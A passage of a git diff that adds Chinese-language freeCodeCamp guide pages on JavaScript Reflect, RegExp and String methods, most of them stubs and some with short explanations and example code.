+localeTitle: Reflect.prototype.get.prototype.of
+---
+## Reflect.prototype.get.prototype.of
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-getprototypeof/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-has/index.md b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-has/index.md
new file mode 100644
index 0000000000..ab0b723402
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-has/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect Has
+localeTitle: 反思有
+---
+## 反思有
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-has/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-isextensible/index.md b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-isextensible/index.md
new file mode 100644
index 0000000000..8b06b135a2
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-isextensible/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect isExtensible
+localeTitle: 反映是可扩展的
+---
+## 反映是可扩展的
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-isextensible/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-ownkeys/index.md b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-ownkeys/index.md
new file mode 100644
index 0000000000..da588d47f7
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-ownkeys/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect Ownkeys
+localeTitle: 反映自己的家伙
+---
+## 反映自己的家伙
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-ownkeys/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-preventextentions/index.md b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-preventextentions/index.md
new file mode 100644
index 0000000000..afdf3fbb2f
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-preventextentions/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect preventExtensions
+localeTitle: 反映preventExtensions
+---
+## 反映preventExtensions
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-preventextentions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-set/index.md b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-set/index.md
new file mode 100644
index 0000000000..7749c96639
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-set/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect Set
+localeTitle: 反映集
+---
+## 反映集
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-set/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-setprototypeof/index.md b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-setprototypeof/index.md
new file mode 100644
index 0000000000..ab1dc78154
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-setprototypeof/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect.prototype.set.prototype.of
+localeTitle: Reflect.prototype.set.prototype.of
+---
+## Reflect.prototype.set.prototype.of
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-setprototypeof/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/regexp/index.md b/client/src/guide/chinese/javascript/standard-objects/regexp/index.md
new file mode 100644
index 0000000000..6c98cb97bc
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/regexp/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp
+localeTitle: 正则表达式
+---
+## 正则表达式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-exec/index.md b/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-exec/index.md
new file mode 100644
index 0000000000..150dc224f6
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-exec/index.md
@@ -0,0 +1,73 @@
+---
+title: RegExp prototype exec
+localeTitle: RegExp原型exec
+---
+## RegExp原型exec
+
+**`exec()`**方法执行搜索指定字符串中的匹配项。返回结果数组，或[`null`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/null "值null表示故意不存在任何对象值。它是JavaScript的原始值之一。") 。
+
+如果要执行匹配只是为了查找true或false，请使用[`RegExp.prototype.test()`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test "test（）方法执行搜索正则表达式和指定字符串之间的匹配。返回true或false。")方法或[`String.prototype.search()`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/search "search（）方法执行搜索正则表达式与此String对象之间的匹配。")方法。
+
+### 句法
+```
+regexObj.exec(str) 
+```
+
+### 参数
+
+`str`
+
+与正则表达式匹配的字符串。
+
+### 返回值
+
+如果匹配成功，则`exec()`方法返回一个数组并更新正则表达式对象的属性。返回的数组将匹配的文本作为第一个项目，然后为匹配的每个捕获括号中的一个项目包含捕获的文本。
+
+如果匹配失败，则`exec()`方法返回[`null`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/null "值null表示故意不存在任何对象值。它是JavaScript的原始值之一。") 。
+
+### 描述
+
+请考虑以下示例：
+```
+// Match "quick brown" followed by "jumps", ignoring characters in between 
+ // Remember "brown" and "jumps" 
+ // Ignore case 
+ var re = /quick\s(brown).+?(jumps)/ig; 
+ var result = re.exec('The Quick Brown Fox Jumps Over The Lazy Dog'); 
+```
+
+下表显示了此脚本的结果：
+
+### 例子
+
+#### 寻找连续的比赛
+
+如果正则表达式使用“ `g` ”标志，则可以多次使用`exec()`方法在同一个字符串中查找连续匹配。执行此操作时，搜索从正则表达式的[`lastIndex`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex "lastIndex是正则表达式实例的读/写整数属性，指定开始下一个匹配的索引。")属性指定的`str`的子字符串开始（ [`test()`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test "test（）方法执行搜索正则表达式和指定字符串之间的匹配。返回true或false。")也将使[`lastIndex`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex "lastIndex是正则表达式实例的读/写整数属性，指定开始下一个匹配的索引。")属性前进）。例如，假设您有此脚本：
+```
+var myRe = /ab*/g; 
+ var str = 'abbcdefabh'; 
+ var myArray; 
+ while ((myArray = myRe.exec(str)) !== null) { 
+  var msg = 'Found ' + myArray[0] + '. '; 
+  msg += 'Next match starts at ' + myRe.lastIndex; 
+  console.log(msg); 
+ } 
+```
+
+此脚本显示以下文本：
+```
+Found abb. Next match starts at 3 
+ Found ab. Next match starts at 9 
+```
+
+注意：不要将正则表达式文字（或[`RegExp`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp "RegExp构造函数创建一个正则表达式对象，用于将文本与模式匹配。")构造函数）放在`while`条件中，否则如果匹配则会产生无限循环，因为每次迭代都会重置[`lastIndex`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex "lastIndex是正则表达式实例的读/写整数属性，指定开始下一个匹配的索引。")属性。还要确保设置了全局标志，或者此处也会出现循环。
+
+#### 使用带有`RegExp`文字的`exec()`
+
+您也可以在不创建[`RegExp`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp "RegExp构造函数创建一个正则表达式对象，用于将文本与模式匹配。")对象的情况下使用`exec()` ：
+```
+var matches = /(hello \S+)/.exec('This is a hello world!'); 
+ console.log(matches[1]); 
+```
+
+这将记录包含“hello world！”的消息。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-flags/index.md b/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-flags/index.md
new file mode 100644
index 0000000000..7ab6db4bad
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-flags/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.flags
+localeTitle: RegExp.prototype.flags
+---
+## RegExp.prototype.flags
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-flags/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-global/index.md b/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-global/index.md
new file mode 100644
index 0000000000..98722cd44a
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-global/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.global
+localeTitle: RegExp.prototype.global
+---
+## RegExp.prototype.global
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-global/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-ignorecase/index.md b/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-ignorecase/index.md
new file mode 100644
index 0000000000..0c3ae0ee97
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-ignorecase/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.ignoreCase
+localeTitle: RegExp.prototype.ignoreCase
+---
+## RegExp.prototype.ignoreCase
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-ignorecase/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-multiline/index.md b/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-multiline/index.md
new file mode 100644
index 0000000000..9899cecc09
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-multiline/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.multiline
+localeTitle: RegExp.prototype.multiline
+---
+## RegExp.prototype.multiline
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-multiline/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-source/index.md b/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-source/index.md
new file mode 100644
index 0000000000..e0b14351f2
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-source/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.source
+localeTitle: RegExp.prototype.source
+---
+## RegExp.prototype.source
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-source/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-sticky/index.md b/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-sticky/index.md
new file mode 100644
index 0000000000..b14d2a2ce7
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-sticky/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.sticky
+localeTitle: RegExp.prototype.sticky
+---
+## RegExp.prototype.sticky
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-sticky/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-test/index.md b/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-test/index.md
new file mode 100644
index 0000000000..b68939be0b
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-test/index.md
@@ -0,0 +1,37 @@
+---
+title: RegExp.prototype.test
+localeTitle: RegExp.prototype.test
+---
+## RegExp.prototype.test
+
+如果字符串与正则表达式匹配，则`test()`方法返回`true`否则返回`false` 。
+
+## 例子
+
+```javascript
+let str = 'freeCodeCamp'; 
+ let regEx = /Code/; 
+ let result = regEx.test(str); 
+ 
+ console.log(result); // prints true 
+```
+
+**注意：**正则表达式区分大小写。如果`regEx`是`/code/`而不是`/Code/`则上面的示例将返回`false` 。要使正则表达式不区分大小写，必须将`i`标志添加到正则表达式中。
+
+```javascript
+let str = 'freeCodeCamp'; 
+ let regEx = /code/; 
+ let result = regEx.test(str); 
+ 
+ console.log(result); // prints false 
+ 
+ // Include the 'i' flag. 
+ 
+ regEx = /code/i; 
+ result = regEx.test(str); 
+ console.log(result); // prints true 
+```
+
+#### 更多信息：
+
+查看[官方MDN `RegExp.prototype.test()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test)页面以获取更多信息。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-tosource/index.md b/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-tosource/index.md
new file mode 100644
index 0000000000..27193c4fe9
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.toSource
+localeTitle: RegExp.prototype.toSource
+---
+## RegExp.prototype.toSource
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-tosource/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-tostring/index.md b/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-tostring/index.md
new file mode 100644
index 0000000000..14bf339474
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.toString
+localeTitle: RegExp.prototype.toString
+---
+## RegExp.prototype.toString
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-tostring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-unicode/index.md b/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-unicode/index.md
new file mode 100644
index 0000000000..ffd519be5c
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/regexp/regexp-prototype-unicode/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.unicode
+localeTitle: RegExp.prototype.unicode
+---
+## RegExp.prototype.unicode
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-unicode/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/index.md b/client/src/guide/chinese/javascript/standard-objects/string/index.md
new file mode 100644
index 0000000000..8c9bf5aef6
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/index.md
@@ -0,0 +1,13 @@
+---
+title: String
+localeTitle: 串
+---
+## 串
+
+在JavaScript中， `String`全局对象是字符串的构造函数，用于存储一系列字符。字符串可以以文字的形式创建，例如`var greeting = "Hi, campers!";`或使用`String`构造函数： `var greeting = new String("Hi, campers!");` 。
+
+不像一些其他语言，如果你使用一个JavaScript不关心`' '`或双`" "`引号的字符串。你甚至可以_在_字符串中使用它们，它们只需要与包含字符串的引号不同`"Isn't that awesome?"` 。
+
+#### 更多信息：
+
+[MDN网络文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String) [w3schools.com](https://www.w3schools.com/jsref/jsref_obj_string.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-fromcharcode/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-fromcharcode/index.md
new file mode 100644
index 0000000000..905bf6ab14
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-fromcharcode/index.md
@@ -0,0 +1,35 @@
+---
+title: String fromCharCode
+localeTitle: 字符串fromCharCode
+---
+静态`String.fromCharCode()`方法返回使用指定的Unicode值序列创建的字符串。
+
+## 句法
+```
+String.fromCharCode(num1[, ...[, numN]]) 
+```
+
+### 参数
+
+**num1，...，numN**
+
+一系列Unicode值的数字。
+
+[MDN链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/fromCharCode) | [MSDN链接](https://msdn.microsoft.com/en-us/LIBRary/wb4w0k66%28v=vs.94%29.aspx)
+
+## 描述
+
+此方法返回字符串而不是String对象。
+
+因为`fromCharCode()`是String的静态方法，所以始终将其用作`String.fromCharCode()` ，而不是您创建的String对象的方法。
+
+## 例子
+```
+String.fromCharCode(65, 66, 67);  // "ABC" 
+ 
+ var test = String.fromCharCode(112, 108, 97, 105, 110); 
+ document.write(test); 
+ 
+ // Output: plain 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-fromcodepoint/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-fromcodepoint/index.md
new file mode 100644
index 0000000000..fe32b6d979
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-fromcodepoint/index.md
@@ -0,0 +1,11 @@
+---
+title: String Fromcodepoint
+localeTitle: String Fromcodepoint
+---
+## String Fromcodepoint
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-fromcodepoint/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-length/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-length/index.md
new file mode 100644
index 0000000000..2559ce4c24
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-length/index.md
@@ -0,0 +1,49 @@
+---
+title: String Length
+localeTitle: 字符串长度
+---
+`length`属性表示字符串的长度。
+
+## 句法
+```
+str.length 
+```
+
+[MDN链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length) | [MSDN链接](https://msdn.microsoft.com/en-us/LIBRary/3d616214%28v=vs.94%29.aspx)
+
+## 描述
+
+此属性返回字符串中的代码单元数。 UTF-16是JavaScript使用的字符串格式，使用单个16位代码单元来表示最常见的字符，但需要使用两个代码单元来表示不常用的字符，因此有可能将长度返回的值返回到不匹配字符串中的实际字符数。
+
+对于空字符串，长度为0。
+
+静态属性`String.length`返回值1。
+
+## 例子
+```
+var x = 'Mozilla'; 
+ var empty = ''; 
+ 
+ console.log('Mozilla is ' + x.length + ' code units long'); 
+ /* "Mozilla is 7 code units long" */ 
+ 
+ console.log('The empty string has a length of ' + empty.length); 
+ /* "The empty string has a length of 0" */ 
+ 
+ var str = "every good boy does fine"; 
+        var start = 0; 
+        var end = str.length - 1; 
+        var tmp = ""; 
+        var arr = new Array(end); 
+ 
+        while (end >= 0) { 
+            arr[start++] = str.charAt(end--); 
+        } 
+ 
+ // Join the elements of the array with a 
+        var str2 = arr.join(''); 
+        document.write(str2); 
+ 
+ // Output: enif seod yob doog yreve 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-charat/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-charat/index.md
new file mode 100644
index 0000000000..80c1340ba7
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-charat/index.md
@@ -0,0 +1,40 @@
+---
+title: String.prototype.charAt
+localeTitle: String.prototype.charAt
+---
+`charAt()`方法从字符串返回指定的字符。
+
+## 句法
+```
+str.charAt(index) 
+```
+
+## 参数
+
+**指数**
+
+一个介于0和1之间的整数，小于字符串的长度。
+
+[MDN链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/charAt) | [MSDN链接](https://msdn.microsoft.com/en-us/LIBRary/65zt5h10%28v=vs.94%29.aspx)
+
+## 描述
+
+字符串中的字符从左到右编制索引。第一个字符的索引是0，字符串中名为`stringName`的最后一个字符的索引是`stringName.length - 1` 。如果您提供的索引超出范围，JavaScript将返回一个空字符串。
+
+## 例子
+```
+var anyString = 'Brave new world'; 
+ 
+ console.log("The character at index 0   is '" + anyString.charAt(0)   + "'"); // 'B' 
+ console.log("The character at index 1   is '" + anyString.charAt(1)   + "'"); // 'r' 
+ console.log("The character at index 2   is '" + anyString.charAt(2)   + "'"); // 'a' 
+ console.log("The character at index 3   is '" + anyString.charAt(3)   + "'"); // 'v' 
+ console.log("The character at index 4   is '" + anyString.charAt(4)   + "'"); // 'e' 
+ console.log("The character at index 999 is '" + anyString.charAt(999) + "'"); // '' 
+ 
+ var str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; 
+ document.write(str.charAt(str.length - 1)); 
+ 
+ // Output: Z 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-charcodeat/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-charcodeat/index.md
new file mode 100644
index 0000000000..68a30e0a73
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-charcodeat/index.md
@@ -0,0 +1,35 @@
+---
+title: String.prototype.charCodeAt
+localeTitle: String.prototype.charCodeAt
+---
+`charCodeAt()`方法返回给定索引处字符的数字Unicode值（unicode代码点> 0x10000除外）。
+
+## 句法
+```
+str.charCodeAt(index) 
+```
+
+### 参数
+
+**指数**
+
+大于或等于0且小于字符串长度的整数;如果它不是数字，则默认为0。
+
+[MDN链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/charCodeAt) | [MSDN链接](https://msdn.microsoft.com/en-us/LIBRary/hza4d04f%28v=vs.94%29.aspx)
+
+## 描述
+
+请注意， `charCodeAt()`将始终返回小于65536的值。这是因为较高的代码点由一对（较低值）“代理”伪字符表示，这些伪字符用于构成真实字符。因此，为了检查或重现值为65536及以上的单个字符的完整字符，对于这些字符，不仅需要检索`charCodeAt(i)` ，还需要检索`charCodeAt(i+1)` （就像检查一样） /再现两个字母的字符串）。见下面的例2和3。
+
+如果给定`index`小于0或等于或大于字符串的长度，则`charCodeAt()`返回`NaN` 。
+
+## 例子
+```
+'ABC'.charCodeAt(0); // returns 65 
+ 
+ var str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; 
+ document.write(str.charCodeAt(str.length - 1)); 
+ 
+ // Output: 90 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-codepointat/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-codepointat/index.md
new file mode 100644
index 0000000000..9fcafe2da1
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-codepointat/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.codePointAt
+localeTitle: String.prototype.codePointAt
+---
+## String.prototype.codePointAt
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-codepointat/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-concat/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-concat/index.md
new file mode 100644
index 0000000000..1c0119cf04
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-concat/index.md
@@ -0,0 +1,37 @@
+---
+title: String.prototype.concat
+localeTitle: String.prototype.concat
+---
+concat（）方法组合了两个或多个字符串的文本并返回一个新字符串。
+
+**句法**
+```
+str.concat(string2[,..., stringN]); 
+```
+
+## 参数
+
+**string2 ... string _N_**要连接到此String的字符串。
+
+[MDN链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/concat)
+
+## 描述
+
+concat（）方法组合了两个或多个字符串的文本并返回连接的字符串。它不会修改原始字符串。
+
+## 例子
+
+**连接字符串**
+
+```JavaScript
+    var str1 = "Hello"; 
+    var str2 = "World"; 
+    console.log(str1.concat(str2)); 
+    // Console will output: HelloWorld 
+ 
+    var str2 = "Hello, "; 
+    console.log(str2.concat(" Welcome ", "to FCC.")); 
+    // Console will output: Hello, Welcome to FCC. 
+```
+
+来源\[MDN\]
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-endswith/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-endswith/index.md
new file mode 100644
index 0000000000..d6c6d0dfdc
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-endswith/index.md
@@ -0,0 +1,24 @@
+---
+title: String.prototype.endsWith
+localeTitle: String.prototype.endsWith
+---
+## String.prototype.endsWith
+
+`endsWith()`方法检查字符串是否以字符串输入结束并返回布尔值。
+
+### 例如
+
+```js
+let str = "Hello world"; 
+ let bool = str.endsWith("ld") // true 
+ bool = str.endsWith("llo") // false 
+```
+
+此方法还可以接受另一个参数，即在搜索字符串的字符之前确定的`length` 。
+
+```js
+let str = "Hello world"; 
+ let bool = str.endsWith("ld", 5) // false, it's the same as "Hello".endsWith("ld") 
+ bool = str.endsWith("llo", 5) // true, it's the same as "Hello".endsWith("llo") 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-includes/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-includes/index.md
new file mode 100644
index 0000000000..d71500dbb1
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-includes/index.md
@@ -0,0 +1,59 @@
+---
+title: String.prototype.includes
+localeTitle: String.prototype.includes
+---
+## String.prototype.includes
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-includes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+`includes()`方法用于确定是否可以在另一个字符串中找到一个字符串。此方法返回布尔值（ `true`或`false` ）。
+
+需要注意的是，此方法区分大小写。
+
+**句法**
+
+```js
+string.includes(searchString[, position]) 
+```
+
+**参数**
+
+此方法只需要一个参数（searchString）。但是，通过包含第二个参数（位置），您可以从searchString中的特定位置（或索引）开始搜索字符串中的字符串。
